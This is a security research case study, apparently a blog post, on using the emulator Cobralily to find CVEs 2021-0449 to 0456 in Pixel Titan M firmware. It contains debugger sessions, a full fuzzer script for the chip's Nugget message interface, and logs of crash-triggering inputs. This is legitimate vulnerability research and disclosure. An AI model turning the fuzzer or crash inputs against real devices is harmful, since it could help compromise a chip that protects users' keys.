Case Study: CVEs 2021-0449..0456

We were the original discoverers 1 of CVEs 2021-0449 through 0456 in the Titan M firmware, and we used our emulator, Cobralily to discover them. The intended main character of this page is Cobralily, with the Titan M and the CVEs themselves supporting characters or props. The vulnerabilities themselves aren’t very exciting; just a few spots where there was no bounds checking when copying attacker-controlled buffers. The novelty is what Cobralily was able to help us do for an embedded target that’s cumbersome to research, and in fact a target we didn’t even physically possess until we had already found vulnerabilities in it.

Outline

  1. Background
  2. Cobralily debugger basics, getting a snapshot to fuzz from
  3. The fuzzer
  4. Triaging crashes
  5. Developing a proof of concept
  6. Further technical notes
  7. Q&A

Background (Titan M)

For this demo, the most important thing to know about the Titan M is that it’s a chip with its own ARM processor and RAM, along with other hardware components, that runs its own firmware. Due to its security model, it doesn’t include any debugger or low level introspection, which normally makes triaging and exploiting vulnerabilities difficult and time-consuming.

The Titan M resides in the Pixel 3, 4a, and 5 smartphones made by Google, but is physically separate from the main application processor running Android. It protects sensitive data from an attacker with root on the application processor. We investigated the Titan M from the perspective of an attacker who had gained root on the application processor.

At the lowest level, the application processor and the Titan M communicate over SPI. We refer to the protocol they use as “Nugget”, which comes from strings in the binary. Nugget transactions include an “app” that denotes the task to send the message to (either “AVB”, “IDENTITY”, “KEYMASTER”, or “WEAVER”), a “param” that indicates the sub-type of the message, and a byte-serialized Protobuf message that contains the contents of the message.

More information about the Titan M not relevant to this demo can be found at the links below. Our work predates the “Titan M Odyssey” paper by a few months, but we’re grateful to have had the opportunity to meet the friendly and talented researchers behind it at DEFCON 2022!

Background (Cobralily)

Cobralily is a full system emulator and debugger, and is also designed to be automatable and scriptable. The Titan M was the first guest we developed support for in Cobralily.

The design of Cobralily is like so:

The CLI debugger is a “daily driver”, what we expect to be used most of the time to interact in real-time with a guest, which especially helps with one-off experiments. It was designed to offer a consistent command set that could be used in a terminal, but also from a website or as a plugin in Binary Ninja/IDA/Ghidra, if the need ever arose.

This debugger is built on an API that gives programmatic introspection and control over a guest. The API was also designed to be easy to write fuzzers in, but it’s also been successfully used to control host hardware to let an emulated guest communicate with a physical counterpart in the real world.

Most of Cobralily’s suite of tools have been focused on helping find bugs, but we have some other ideas of features that can be added if there’s any interest in adding them:

  • Implementing a GDB server built on the API, so people can their custom GDB setups to interact with a guest
  • Writing a Binary Ninja/IDA/Ghidra plugin that provides even more fine-grained control than a command-line debugger
  • Some kind of REST-like API to interact with a guest, which would help support thin clients

Getting a snapshot to fuzz with

First, let’s use the Cobralily CLI debugger to boot the Titan M to a state that can be fuzzed. It’s a python file, so starting it is as simple as running a python script2.

When the debugger first starts up, it presents the initial state of the guest3. At this point, the guest isn’t running, so let’s start poking at it by dumping memory and disassembling instructions. The debugger also provides the ability to modify the state of the guest in several ways, like by writing memory.

calculon@allmycircuits$ ./cobralily_cli.py titanm
r0  = 00000000   r1  = 00000000   r2  = 00000000   r3  = 00000000
r4  = 00000000   r5  = 00000000   r6  = 00000000   r7  = 00000000
r8  = 00000000   r9  = 00000000   r10 = 00000000   r11 = 00000000
r12 = 00000000   sp  = 00010400   lr  = 00000000   pc* = 000447e8
APSR: 00000000 [           ]      mode/control: Thread/0 -> Privileged
sp_main = 00010400  sp_process = 00000000
Task ID: None
rewind window:      [0000000000000000 - 0000000000000000]
instruction counter: 0000000000000000

        447e4 | 4ff00000 mov r0, #0x0

> dw 40000
        00040000: fffffffe 23783dc7  5860ed19 3e5e849f    .....=x#..`X..^>
[+0x10] 00040010: 77693de8 2ff8f434  ed3868d6 fb5b0c86    .=iw4../.h8...[.
[+0x20] 00040020: 93317bb6 24d45fc9  e1a24886 acd312bd    .{1.._.$.H......
[+0x30] 00040030: be025f44 f1b319e6  ad5b6782 960c87cf    D_.......g[.....
> u 4818c
4818c:     4023 mov(s*) r3, #0x40
4818e:     1e68 ldr r6, [r3]
48190:     2946 mov r1, r5
48192:     2346 mov r3, r4
48194:     0a48 ldr r0, [pc, #28]
48196:     2022 mov(s*) r2, #0x20
48198:     b047 blx r6
4819a:     2846 mov r0, r5
> w 48198 00 bf
write succeeded
> u 4818c
4818c:     4023 mov(s*) r3, #0x40
4818e:     1e68 ldr r6, [r3]
48190:     2946 mov r1, r5
48192:     2346 mov r3, r4
48194:     0a48 ldr r0, [pc, #28]
48196:     2022 mov(s*) r2, #0x20
48198:     00bf nop
4819a:     2846 mov r0, r5
>

The firmware does call functions from the 0th stage bootloader (addresses 0..0x2000) to generate random numbers. When we first started this research, we didn’t have the 0th stage bootloader, but found that NOP’ing out these calls results in a functioning guest (albeit with a broken random number generator).

To save the trouble of having to remember to NOP out these calls to the 0th stage bootloader every time the debugger gets started, these commands can be written to a file that gets passed as an argument when the Cobralily debugger gets invoked.

calculon@allmycircuits$ cat /tmp/run_demo.txt 
# nop out 0x48198 call to @(0x40)
w 0x48198 00 bf

# nop out 0x48214 call to @(0x48) (prng bytes)
w 0x48214 00 bf

# overwrite 0x48240 call to @(0x50) (prng bytes)
# mov r0, 0 to avoid assert failure
w 0x48240 00 20
calculon@allmycircuits$
calculon@allmycircuits$
calculon@allmycircuits$ ./cobralily_cli.py titanm /tmp/run_demo.txt 
r0  = 00000000   r1  = 00000000   r2  = 00000000   r3  = 00000000
r4  = 00000000   r5  = 00000000   r6  = 00000000   r7  = 00000000
r8  = 00000000   r9  = 00000000   r10 = 00000000   r11 = 00000000
r12 = 00000000   sp  = 00010400   lr  = 00000000   pc* = 000447e8
APSR: 00000000 [           ]      mode/control: Thread/0 -> Privileged
sp_main = 00010400  sp_process = 00000000
Task ID: None
rewind window:      [0000000000000000 - 0000000000000000]
instruction counter: 0000000000000000

        447e4 | 4ff00000 mov r0, #0x0

write succeeded
write succeeded
write succeeded
> u 48198 4
48198:     00bf nop
4819a:     2846 mov r0, r5
> u 48214 4
48214:     00bf nop
48216:     3846 mov r0, r7
> u 48240 4
48240:     0020 mov(s*) r0, #0x0
48242:     0028 cmp r0, #0x0
> 

The Cobralily debugger and API also provide fine-controlled ways to execute the guest. They can make the guest step a few CPU instructions at a time, set breakpoints, or have it execute until it has a reason to stop.

Not only can the guest step forward, but the debugger and API can also step the guest backwards or go back to the last time a read, write, or fetch occurred.

calculon@allmycircuits$ ./cobralily_cli.py titanm /tmp/run_demo.txt
r0  = 00000000   r1  = 00000000   r2  = 00000000   r3  = 00000000
r4  = 00000000   r5  = 00000000   r6  = 00000000   r7  = 00000000
r8  = 00000000   r9  = 00000000   r10 = 00000000   r11 = 00000000
r12 = 00000000   sp  = 00010400   lr  = 00000000   pc* = 000447e8
APSR: 00000000 [           ]      mode/control: Thread/0 -> Privileged
sp_main = 00010400  sp_process = 00000000
Task ID: None
rewind window:      [0000000000000000 - 0000000000000000]
instruction counter: 0000000000000000

        447e4 | 4ff00000 mov r0, #0x0

write succeeded
write succeeded
write succeeded
> s
r0  = 00000000   r1  = 00000000   r2  = 00000000   r3  = 00000000
r4  = 00000000   r5  = 00000000   r6  = 00000000   r7  = 00000000
r8  = 00000000   r9  = 00000000   r10 = 00000000   r11 = 00000000
r12 = 00000000   sp  = 00010400   lr  = 00000000   pc* = 000447ec
APSR: 00000000 [           ]      mode/control: Thread/0 -> Privileged
sp_main = 00010400  sp_process = 00000000
Task ID: None
rewind window:      [0000000000000000 - 0000000000000001]
instruction counter: 0000000000000001

        447e8 | 80f31488 msr control, r0

> s 10
r0  = 00000000   r1  = 00010000   r2  = 0001a720   r3  = 00000000
r4  = 00000000   r5  = 00000000   r6  = 00000000   r7  = 00000000
r8  = 00000000   r9  = 00000000   r10 = 00000000   r11 = 00000000
r12 = 00000000   sp  = 00010400   lr  = 00000000   pc* = 00044806
APSR: 80000000 [ N         ]      mode/control: Thread/0 -> Privileged
sp_main = 00010400  sp_process = 00000000
Task ID: None
rewind window:      [0000000000000000 - 000000000000000b]
instruction counter: 000000000000000b

        44802 | 41f8040b str r0, [r1], #0x4

> b 47464
Breakpoint #1 set at 0x47464
> g
Breakpoint #1 hit
r0  = 00010400   r1  = 0001e15c   r2  = 0001e15c   r3  = 00000000
r4  = 00000000   r5  = 00000000   r6  = 00000000   r7  = 00000000
r8  = 00000000   r9  = 00000000   r10 = 00000000   r11 = 00000000
r12 = 00000000   sp  = 00010400   lr  = 00044825   pc* = 00047468
APSR: 60000000 [   Z C     ]      mode/control: Thread/0 -> Privileged
sp_main = 00010400  sp_process = 00000000
Task ID: None
rewind window:      [0000000000000000 - 000000000000ada5]
instruction counter: 000000000000ada5

        47464 |     10b5 push {r4, lr}

> s -1
r0  = 00010400   r1  = 0001e15c   r2  = 0001e15c   r3  = 00000000
r4  = 00000000   r5  = 00000000   r6  = 00000000   r7  = 00000000
r8  = 00000000   r9  = 00000000   r10 = 00000000   r11 = 00000000
r12 = 00000000   sp  = 00010400   lr  = 00000000   pc* = 00044824
APSR: 60000000 [   Z C     ]      mode/control: Thread/0 -> Privileged
sp_main = 00010400  sp_process = 00000000
Task ID: None
rewind window:      [0000000000000000 - 000000000000ada5]
instruction counter: 000000000000ada4   [REWIND]

        44820 | 02f020fe bl #0x47464

> prev fetch 4481e
r0  = 00010400   r1  = 0001e15c   r2  = 0001e15c   r3  = 00000000
r4  = 00000000   r5  = 00000000   r6  = 00000000   r7  = 00000000
r8  = 00000000   r9  = 00000000   r10 = 00000000   r11 = 00000000
r12 = 00000000   sp  = 00010400   lr  = 00000000   pc* = 00044822
APSR: 60000000 [   Z C     ]      mode/control: Thread/0 -> Privileged
sp_main = 00010400  sp_process = 00000000
Task ID: None
rewind window:      [0000000000000000 - 000000000000ada5]
instruction counter: 000000000000ada3   [REWIND]

        4481e |     8546 mov sp, r0

> prev write 0x10330
r0  = 00000000   r1  = 00010330   r2  = 0001a720   r3  = 00000000
r4  = 00000000   r5  = 00000000   r6  = 00000000   r7  = 00000000
r8  = 00000000   r9  = 00000000   r10 = 00000000   r11 = 00000000
r12 = 00000000   sp  = 00010400   lr  = 00000000   pc* = 00044806
APSR: 80000000 [ N         ]      mode/control: Thread/0 -> Privileged
sp_main = 00010400  sp_process = 00000000
Task ID: None
rewind window:      [0000000000000000 - 000000000000ada5]
instruction counter: 000000000000033b   [REWIND]

        44802 | 41f8040b str r0, [r1], #0x4

>

Running the Titan M without giving it any other reason to stop will execute it until it reaches a WFI instruction. Cobralily’s default behavior is to stop when the guest reaches an instruction that causes the processor to go into an idle state. For the Titan M, we determined that the guest is ready to handle messages at this point, so let’s save a snapshot to use as a base to fuzz from.

calculon@allmycircuits$ ./cobralily_cli.py titanm /tmp/run_demo.txt 
r0  = 00000000   r1  = 00000000   r2  = 00000000   r3  = 00000000
r4  = 00000000   r5  = 00000000   r6  = 00000000   r7  = 00000000
r8  = 00000000   r9  = 00000000   r10 = 00000000   r11 = 00000000
r12 = 00000000   sp  = 00010400   lr  = 00000000   pc* = 000447e8
APSR: 00000000 [           ]      mode/control: Thread/0 -> Privileged
sp_main = 00010400  sp_process = 00000000
Task ID: None
rewind window:      [0000000000000000 - 0000000000000000]
instruction counter: 0000000000000000

        447e4 | 4ff00000 mov r0, #0x0

write succeeded
write succeeded
write succeeded
> g
<uart0 output> 
<uart0 output> 
<uart0 output> --- UART initialized after reboot ---
<uart0 output> [Reset cause:]
<uart0 output> [Retry count: 0]
<uart0 output> [Image: RW_A, 0.0.3/brick_v0.0.8164-97b23b2e4 2020-07-02 11:29:09 wfrichar@wintermute]
<uart0 output> [0.044552 Inits done]
<uart0 output> [0.047248 update_rollback_mask: stop at 0]
<uart0 output> Console is enabled; type HELP for help.
<uart0 output> > [0.110192 prepare_flash: AVB migrating]
<uart0 output> [0.115820 flash_physical_write: 0xb1000, 0xa0 bytes]
<uart0 output> EVENT: 2 0:0x00000000 1:0x00000000 2:0x00000000 3:0x00000000 4:0x00000000 5:0x00000000 6:0x00000000 7:0x00000000 8:0x00000000 9:0x00000000
<uart0 output> [0.128564 flash_physical_erase: 0x7f800]
<uart0 output> [0.131208 flash_physical_write: 0x7f800, 0x4 bytes]
<uart0 output> [0.133752 cleared invalid password]
Guest CPU0 is waiting for interrupts @ 4e536
r0  = 00021264   r1  = 00000000   r2  = 00010890   r3  = 40470010
r4  = 00015c28   r5  = 00000000   r6  = fffffffc   r7  = 00015c28
r8  = 00000000   r9  = 00000000   r10 = 00000000   r11 = 00000000
r12 = 00000000   sp  = 000108a8   lr  = 0004e517   pc* = 0004e53c
APSR: a0000000 [ N   C     ]      mode/control: Thread/2 -> Privileged
sp_main = 00010400  sp_process = 000108a8
Task ID: IDLE
rewind window:      [0000000000000000 - 00000000000849a0]
instruction counter: 00000000000849a0

        4e538 |     2379 ldrb r3, [r4, #0x4]

> save /tmp/titanm_ready.sav
successfully saved snapshot to '/tmp/titanm_ready.sav'
> 

Note that the output of the UART is displayed too.

Writing a Fuzzer

The Cobralily debugger is nice to interact in real time, but using it in a script like a fuzzer would involve a lot of string parsing and handling. To write a fuzzer, it makes more sense to use the Cobralily API.

The focus of this demo is Cobralily, rather than how to write a proper fuzzer, so this fuzzer is just slapped together. For example, the fuzzer just prints outcomes to stdout (running it with tee to save them to a file for later analysis). The way the fuzzer generates test cases is also simple, but it still finds these CVEs.

#!/usr/bin/env python3

from dataclasses import dataclass
import random
from typing import List, Optional

from cobralily_api import Cpu, Guest, StopReason, StopReasonBreakpointHit, StopReasonIdle
from cobralily_api import CobralilyHostPipeRxTooLarge
from cobralily_armv7m import Armv7MException, Armv7MRegister
from cobralily_titanm import NuggetApp, TitanMTemplate, nugget_send_request
from cobralily_util import ReadWriteFlags

@dataclass(frozen=True)
class NuggetMessage:
    app: NuggetApp
    param: int
    buf: bytes

    def debugger_command(self) -> str:
        return f"nugget_request {self.app.name} {self.param:#x} {self.buf.hex()}"

@dataclass(frozen=True)
class CrashInfo:
    fetch: bool
    crash_pc: int
    fault_address: int

    def __str__(self) -> str:
        if self.fetch:
            return f"fetch at {self.crash_pc:08x}"
        else:
            return f"data access of {self.fault_address:08x} at pc {self.crash_pc:08x}"

class Fuzzer:
    def __init__(self) -> None:
        self.guest = Guest(TitanMTemplate())

        with open("/tmp/titanm_ready.sav", "rb") as fp:
            self.snapshot = fp.read()

        # cobralily provides the ability to add callbacks that get called when
        # the guest transmits on an interface...you can get really creative with
        # this feature: with a different guest, we had callbacks go over
        # bluetooth and a hackRF to communicate with a physical counterpart
        self.guest.register_host_pipe_tx_callback("nugget_command", None, self.detect_stack_leak)

        # cobralily also provides the ability to add callbacks to exceptions
        self.guest.add_exception_callback(Armv7MException.BusFault, None, self.on_bus_fault)

        # addresses 0..0x2000 are the bootrom, which is technically valid
        # memory so accesses won't raise an exception...however if the guest jumps
        # or reads/writes 0x0 it's more likely a NULL pointer derefence
        self.null_fetch_bp = self.guest.add_fetch_breakpoint(0x0)
        self.null_rw_bp = self.guest.add_rw_breakpoint(ReadWriteFlags.Both, 0x0, 4)

        self.message_sequence: List[NuggetMessage] = []

        self.uninit_stack_found = False
        self.crash_info: Optional[CrashInfo] = None
        self.null_deref = False
        self.done = False
        self.timeout = False
        self.unhandled_stop_reasons: List[StopReason] = []

    def detect_stack_leak(self, _context, buf: bytes) -> None:
        # stack memory is initialized to 0xdeadd00d (little endian); if that
        # value is found in what the guest is transmitting, it could mean that
        # guest is transmitting stale stack memory
        if b'\x0d\xd0\xad\xde' in buf:
            self.uninit_stack_found = True
            self.done = True

    def on_bus_fault(self, cpu: Cpu, raise_pc: int, _irq, _context) -> None:
        fault_address = cpu.get_register(Armv7MRegister.BFAR)

        # BFSR.IBUSERR; some architectures can also whether it's a read or
        # write, but ARMv7-M isn't one of them
        fetch = (cpu.get_register(Armv7MRegister.CFSR) >> 8) & 0x1 != 0

        self.crash_info = CrashInfo(fetch, raise_pc, fault_address)
        self.done = True

    def handle_message(self, message: NuggetMessage) -> None:
        self.message_sequence.append(message)
        nugget_send_request(self.guest, message.app, message.param, message.buf)

        start_counter = self.guest.get_cpu(0).get_instruction_counter()
        self.guest.get_cpu(0).step(0x10000)

        if not self.guest.get_stop_reasons():
            self.timeout = True
            self.done = True

        for reason in self.guest.get_stop_reasons():
            if isinstance(reason, StopReasonBreakpointHit):
                # if we had also set other breakpoints, we would also check the
                # ID of the breakpoint
                self.null_deref = True
                self.done = True
            elif not isinstance(reason, StopReasonIdle):
                self.unhandled_stop_reasons.append(reason)
                self.done = True

    def fuzz_new_sequence(self) -> None:
        self.guest.deserialize_full(self.snapshot)

        self.message_sequence = []

        self.uninit_stack_found = False
        self.done = False
        self.timeout = False
        self.crash_info = None
        self.null_deref = False
        self.unhandled_stop_reasons = []

        for _ in range(10):
            generate = random.choice([
                generate_new_avb,
                generate_new_identity,
                generate_new_keymaster,
                generate_new_weaver])

            message = generate()

            try:
                self.handle_message(message)
            except CobralilyHostPipeRxTooLarge:
                continue

            if self.done:
                break

        self.report_outcomes()

    def report_outcomes(self) -> None:
        what_happened = ""
        if self.uninit_stack_found:
            what_happened += "[stack leak]"

        if self.timeout:
            what_happened += "[timeout]"

        if self.null_deref:
            what_happened += "[null_deref]"

        if self.crash_info is not None:
            what_happened += f"[{self.crash_info}]"

        for reason in self.unhandled_stop_reasons:
            what_happened += f"[unhandled stop reason: {reason}]"

        if what_happened == "":
            return

        print(f"== {what_happened} ==")
        for (i, message) in enumerate(self.message_sequence):
            print(f"#{i+1}: {message.debugger_command()}")

def main() -> None:
    # demos/explanations are just nicer when things are reproducible
    random.seed(0)
    fuzzer = Fuzzer()

    for _ in range(10000):
        fuzzer.fuzz_new_sequence()

# --- Everything under this point is just generating messages to send ---

import protobufs_titanm.avb_pb2
import protobufs_titanm.identity_pb2
import protobufs_titanm.keymaster_pb2
import protobufs_titanm.weaver_pb2

def random_bytes_with_length(length: int) -> bytes:
    return bytes([random.randint(0, 255) for _ in range(length)])

def random_bytes(max_length: int) -> bytes:
    return random_bytes_with_length(random.randint(0, max_length))

def random_string_with_length(length: int) -> bytes:
    return bytes([random.randint(0, 127) for _ in range(length)])

def random_string(max_length: int) -> bytes:
    return random_string_with_length(random.randint(0, max_length))

def randomize_protobuf_message(pb):
    for field in pb.DESCRIPTOR.fields:
        field_type = field.type

        if field_type == field.TYPE_UINT64:
            # 4
            pb.__setattr__(field.name, random.randint(0, 2**64 - 1))
        elif field_type == field.TYPE_BOOL:
            # 8
            pb.__setattr__(field.name, random.choice([True, False]))
        elif field_type == field.TYPE_STRING:
            # 9
            pb.__setattr__(field.name, random_string(0x380))
        elif field_type == field.TYPE_MESSAGE:
            # 11
            submessage = pb.__getattribute__(field.name)
            randomize_protobuf_message(submessage)
        elif field_type == field.TYPE_BYTES:
            # 12

            # some apps (Weaver) have bounds on the number of bytes, enforced
            # at parse-time
            if "EQUAL" in field.name:
                num_bytes = int(field.name.split("_")[-1], 0)
                buf = random_bytes_with_length(num_bytes)
            else:
                buf = random_bytes(0x380)

            pb.__setattr__(field.name, buf)
        elif field_type == field.TYPE_UINT32:
            # 13

            # uint8_t not supported by official protobuf specification
            # but nanopb can generate max-sized values and fail anything that's
            # too big...so we hack this up
            if field.name.endswith("_UINT8"):
                value = random.randint(0, 2**8 - 1)
            else:
                value = random.randint(0, 2**32 - 1)

            pb.__setattr__(field.name, value)
        else:
            raise Exception("unhandled field type %d" % field_type)

def generate_new_avb() -> NuggetMessage:
    param = random.randint(0, 15)
    pb = protobufs_titanm.avb_pb2.__getattribute__("AvbRequest%d" % param)()
    randomize_protobuf_message(pb)

    return NuggetMessage(NuggetApp.Avb, param, pb.SerializeToString())

def generate_new_identity() -> NuggetMessage:
    param = random.randint(0, 20)
    pb = protobufs_titanm.identity_pb2.__getattribute__("IdentityRequest%d" % param)()
    randomize_protobuf_message(pb)

    return NuggetMessage(NuggetApp.Identity, param, pb.SerializeToString())

def generate_new_keymaster() -> NuggetMessage:
    param = random.randint(0, 0x25)
    pb = protobufs_titanm.keymaster_pb2.__getattribute__("KeymasterRequest%d" % param)()
    randomize_protobuf_message(pb)

    return NuggetMessage(NuggetApp.Keymaster, param, pb.SerializeToString())

def generate_new_weaver() -> NuggetMessage:
    param = random.randint(0, 3)
    pb = protobufs_titanm.weaver_pb2.__getattribute__("WeaverRequest%d" % param)()
    randomize_protobuf_message(pb)

    return NuggetMessage(NuggetApp.Weaver, param, pb.SerializeToString())

if __name__ == '__main__':
    main()

Note that the harness that’s responsible for sending test cases also has introspection into the guest. This fuzzer watches for the ARM-M architectural version of a segfault, but it’s possible to do all sorts of creative things other than just finding crashes. For example, it’s simple to report an input that calls a function with a target argument, or sets a specific memory location to a target value. This fuzzer monitors for a heuristic that can indicate uninitialized stack memory being sent by the guest.

The harness’s introspection also helps it automatically classify outcomes, which helps in the triage process.

Triaging Crashes

Here’s an excerpt of the outcomes the fuzzer found, truncated because the hex dumps get long sometimes.

calculon@allmycircuits$ ./nugget_fuzzer.py | tee results.txt | cut -c -80
== [timeout] ==
#1: nugget_request Weaver 0x0 
#2: nugget_request Keymaster 0x21 0a0b08c3c3a580f380d2a9b9011001
== [timeout] ==
#1: nugget_request Identity 0x9 0a8d018d18047ab9aa3be71e8c4ef96e74aa2e3686fbef9c
#2: nugget_request Keymaster 0x1e 
#3: nugget_request Avb 0x7 088ea4d3f50c
#4: nugget_request Avb 0x0 
#5: nugget_request Keymaster 0x1b 0a0b08b187a3f5b4a6a798bc01
== [timeout] ==
#1: nugget_request Weaver 0x2 08ec83c6a20c121084d6d79ff7df795be89244315d428090
#2: nugget_request Keymaster 0x6 0ac7020ac40239026421a21788f8da3d57836376a05c131
#3: nugget_request Avb 0x4 08b09bbce90c12e504b4ab66f73bfe8167c9d116de1fc224ed6aa
#4: nugget_request Weaver 0x3 08bdf8ae9108
#5: nugget_request Keymaster 0x21 0a0a08d0bdfc81c7d2afdc7b1000
== [timeout] ==
#1: nugget_request Avb 0xd 08f68b9a9c0a1099b8c0ae0a
#2: nugget_request Avb 0xb 082b12ca0108d0a59cb50b12c101affc15a1449c9604421c558ca
#3: nugget_request Keymaster 0x0 0aaf02907f5a9870306177e5d43b034257315ec664e1f46
#4: nugget_request Weaver 0x1 08fba7a642121090a41ba09ba7fa27401135c97f0197761a10
#5: nugget_request Keymaster 0x4 08f7d4f1960e12dd030ada03220bfb42b5d9c3aaed45036
#6: nugget_request Avb 0xc 
#7: nugget_request Avb 0xc 
#8: nugget_request Keymaster 0x0 0aee04e2a929038a28f80d7077b9e11b061986c1d3cf6b9
#9: nugget_request Keymaster 0x2 0aa2060a9f06e9bd9745923cd3352e5937655c7fd0999c0
#10: nugget_request Keymaster 0x1b 0a0b08aad3c4f3e6d0fdeeb101
== [timeout] ==
#1: nugget_request Keymaster 0xb 0a0b08e2f38597be92abb8de0112c6040ac30408a5b5b5e
#2: nugget_request Identity 0xa 
== [null_deref] ==
#1: nugget_request Identity 0x11 0aa0033316506c6d58724f5117167d1a591045307a67301
== [timeout] ==
#1: nugget_request Weaver 0x2 089faaf6990f1210798c1c9697356236624c4b46b121f7f0
#2: nugget_request Avb 0xd 08cbc384cd0a1096c0f6fc04
#3: nugget_request Identity 0x7 080012fd04bc4daff4b72fa75d18f93ba9b0bbdffa282b58
#4: nugget_request Identity 0xb 
#5: nugget_request Avb 0x8 08ab82bca60112cb04f07120575e305f0c7a63d7c1527e588f7c2
#6: nugget_request Keymaster 0x1b 0a0a08c8ceaffbe8e1a0ea10
== [data access of 9e7a09f8 at pc 000534f0] ==
#1: nugget_request Avb 0x4 08eecae6c9071287067f07a4ee840738246b5d4ab5d64dd4daf26
#2: nugget_request Identity 0xd 0ab006ca1854fc143aae6684b7a287f508c3382610124822
== [timeout] ==
#1: nugget_request Identity 0xb 
#2: nugget_request Identity 0x14 0a9e035c4f7e5f80b66b2e060ac81548abac4d5e7c63467
== [null_deref] ==
#1: nugget_request Identity 0x4 0a31aaddaf72f4facb56c96ba6fb63cc15c6383bed236302
#2: nugget_request Weaver 0x3 08b7b687f708
#3: nugget_request Weaver 0x0 
#4: nugget_request Keymaster 0x15 0a98023c5b2bd929b0327d9bac25e08e6b75cb21ccd7c5
#5: nugget_request Weaver 0x3 08c7b6eaf601
#6: nugget_request Identity 0x12 0ac201e27e6ef94d18e03a816327483fe71f4e107848191
#7: nugget_request Identity 0x6 0aa605a1c6bbcdf913fe8ab7e2a459cf2cce54d835c51ebd
== [timeout] ==
#1: nugget_request Keymaster 0x1d 080012c40108b18e96f492c98adf6a10e4a0baeaf5db8a
#2: nugget_request Keymaster 0x3 0a9f060a9c0608a296a8900210d9fce3d70518d7dea1a19
#3: nugget_request Identity 0xe 08e596c2e80112ee034375273fbeb93312abf816d364dc2c
#4: nugget_request Keymaster 0x23 0a9c060a990689ec15ef757603c8c7c0a6c116b83c4ecf
#5: nugget_request Keymaster 0x1d 080112c30b08fbbf92f6e4f9dade0810efd09fa28debae
#6: nugget_request Weaver 0x3 08a4cb9e0b
#7: nugget_request Keymaster 0x2 0ab2010aaf01401be37f4c4153f1c19d88265b95a2f4338
#8: nugget_request Keymaster 0x1a 0a0a08e78b97c7e3d1e78d5412cf040acc0408fe92ebd0
== [timeout] ==
#1: nugget_request Keymaster 0x10 08011227a2c35141b7960a671affb5ba7adeac8fe872c9
#2: nugget_request Keymaster 0x23 0aa1010a9e01aa423154e8f5f1e56e45daad5525c4422b
#3: nugget_request Keymaster 0x16 
#4: nugget_request Avb 0x1 08f6fad7be07
#5: nugget_request Identity 0xa 
== [timeout] ==
#1: nugget_request Identity 0x3 0885d1ef9b0212aa018f66ff81504e103a877ae6e50edcf6
#2: nugget_request Identity 0xe 08b391f3e2051285031bf96399131c1721bbaa4f4e784592
#3: nugget_request Avb 0xd 08fcf4c3d6061082bfa2cf0b
#4: nugget_request Avb 0x4 08c381dd5d12d506309acc588733be225cbc6f3ffdc575fb92de9
#5: nugget_request Avb 0xc 
#6: nugget_request Weaver 0x2 089ce88a9b0c1210c6eb3a4cc810e7d2f9afae6df666bc0f
#7: nugget_request Identity 0x3 08d2b6f0970812f3040120753feccf91be120a37c0303891
#8: nugget_request Identity 0xa 
== [data access of f166411a at pc 000534f0] ==
#1: nugget_request Keymaster 0x1e 
#2: nugget_request Weaver 0x0 
#3: nugget_request Keymaster 0x16 
#4: nugget_request Keymaster 0x7 0a95060a92068079de708bb559698bb5605f3b4ff332498
#5: nugget_request Identity 0xe 08fcf8eccf0a128f05155b881a39a8863ef9da2e583fb2bf
#6: nugget_request Identity 0x7 080112ba0543aa59dd834fbfe8cf2e006b551afa093e52f7
#7: nugget_request Weaver 0x3 08e1ed9fad06
#8: nugget_request Identity 0xd 0a8e039897e020e744afe9a8f243a31ff2ea699141c687ae
== [timeout] ==
#1: nugget_request Identity 0x4 0a85055e550a5de7861d4acb05a0e6a89c865ce16e3cdec3
#2: nugget_request Weaver 0x0 
#3: nugget_request Keymaster 0x6 0a91060a8e067d6da21dff6794e2d34b09ba3c8465ab432
#4: nugget_request Keymaster 0x7 0ad7060ad40690b239102411f3f8d17c8ee2b7e0ef503d0
#5: nugget_request Weaver 0x2 08d5dbd49302121037e5dbc611917b7da553b73cfe317437
#6: nugget_request Identity 0x10 0aaa0187c97b8da51a36901b842ccaabe330b1326d69f62
#7: nugget_request Avb 0x2 08b6c08daa0c10eb8dcbfa8d80bab246
#8: nugget_request Keymaster 0x1a 0a0b08b7818e9c9afbead390011289010a860108b7b9ab
== [timeout] ==
#1: nugget_request Identity 0x7 080112fb048d3f9cf670d4c1facfaec904b0ba340fe3c95e
#2: nugget_request Avb 0xf 08a689e4fd0510ece88ab59cc9cba5711a9c02ef5a29593ce0c81
#3: nugget_request Avb 0x8 08868dd8a50412a20355d0b28e7dd0bad5dfa169f7219d16f4e9e
#4: nugget_request Keymaster 0x2 0acd020aca02c52065e0c2f40a2d056e1fd93230c07acde
#5: nugget_request Avb 0x1 08a9b2ea5e
#6: nugget_request Avb 0xb 086512e3030899fdec5812db0308f9bd0ce20e83e3191ad52849e
#7: nugget_request Identity 0x14 0a8104521507de3edc1b76016f8b98646156d8bccd23edd
== [null_deref] ==
#1: nugget_request Avb 0xa 089391a1c1e78bc8d37710aeecf8c0deb6d49edd011ae6047e315
#2: nugget_request Identity 0x11 0ae502016c2c1e144d0972562a05480e5e077c2a6914602
== [timeout] ==
#1: nugget_request Identity 0xc 08ff99bd9aedb7d4cae301109b9ee9eaa3e8d2ae3f18dee2
#2: nugget_request Avb 0xd 08c695f9ad0510e8a6d2e805
#3: nugget_request Keymaster 0x9 
#4: nugget_request Keymaster 0x25 0a960c0aa80675ee9d1af501f7b94aeb8f517ce5f92b90
#5: nugget_request Keymaster 0x2 0ac2060abf0678f331fa84b8b77ba3305d83177a818f479
#6: nugget_request Identity 0x12 0a4896c90ff68f900b3425b1576b701798bac2951b8db7b
== [timeout] ==
#1: nugget_request Identity 0xf 0acf03937c6300eecf885ce857c2a050a05389361839b62c
#2: nugget_request Identity 0x11 0ae3033842324a6b53440e30063d0f4e2a0d4625765f410
#3: nugget_request Identity 0xe 08e3cce1f20f129d04b1e2dd4eaa3f4b076aabafab6425ad
#4: nugget_request Identity 0x12 0a60b278279ea645c363e507d41e80335586b4543b2b0cd
== [null_deref] ==
#1: nugget_request Identity 0xa 
#2: nugget_request Avb 0x0 
#3: nugget_request Keymaster 0x3 0ab7040ab40408b6d3acf90610fffda1e80718c490b3beb
#4: nugget_request Avb 0x3 0856
#5: nugget_request Weaver 0x2 08fce1d2cd0a1210651c5a5187f599c6ec7dfa9bd4072385
#6: nugget_request Avb 0xf 08efcdf46e1087bbd1ce8bf6cd98551abf05e2573f310af8f7f2d
#7: nugget_request Avb 0xb 08990112850208e4c888a30e12fc01cb8113904241f3853c8af9e
#8: nugget_request Identity 0x6 0aa805922bdfada919b68581837f3974a3de267853f002c1
== [null_deref] ==
#1: nugget_request Avb 0xc 
